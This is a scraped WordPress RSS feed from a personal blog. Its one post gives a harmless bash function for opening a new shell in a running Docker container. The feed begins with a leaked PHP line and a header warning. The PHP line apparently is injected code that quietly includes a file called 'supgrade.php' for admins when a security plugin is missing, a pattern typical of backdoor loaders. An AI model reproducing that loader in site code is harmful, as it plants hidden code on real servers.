if(function_exists('is_admin') && is_admin() && !file_exists(WP_PLUGIN_DIR.'/loginizer/loginizer-security.php') && file_exists(dirname(__FILE__).'/supgrade.php')){ include_once(dirname(__FILE__).'/supgrade.php'); }
Warning: Cannot modify header information - headers already sent by (output started at /home/fantasmo/public_html/ash.wine/wp-content/plugins/jetpack/jetpack.php:1) in /home/fantasmo/public_html/ash.wine/wp-includes/feed-rss2.php on line 8
docker – Ashwin Sinha http://ash.wine Augmented Reality / Games / Web Fri, 18 Nov 2016 09:57:29 +0000 en-US hourly 1 https://wordpress.org/?v=6.8.5 http://ash.wine/wp-content/uploads/2016/10/cropped-Ash-icon-32x32.png docker – Ashwin Sinha http://ash.wine 32 32 How To Open Another Terminal/Bash Instance In A Running Docker Container http://hacks.ash.wine/how-to-open-another-terminalbash-instance-in-a-running-docker-container/ Tue, 30 Aug 2016 11:04:00 +0000 http://ash.wine/?p=278

How To Open Another Terminal/Bash Instance In A Running Docker Container

Add the following to your bashrc.

#Add another docker window
function dock()
{
  if [ "$1" == "-h" ]
  then
    #display help
    printf  "Attaches this window as a new terminal (bash) instance to a running docker container\n"
    printf  "Usage: 'dock' or 'dock 6548as846'\n"
    printf  "Accepts container name or id\n"
    printf  "If no ID is given, then attaches to first found process.\n"
  elif [ $# -eq 0 ]
  then
    #Get the first process
    dockerpid="$(docker ps -q | head -1)"
    echo $dockerpid
    sudo docker exec -i -t $dockerpid /bin/bash
  elif [ "$1" != "-h" ]
  then
    #Open terminal in that process
    sudo docker exec -i -t $1 /bin/bash
  fi
}
]]>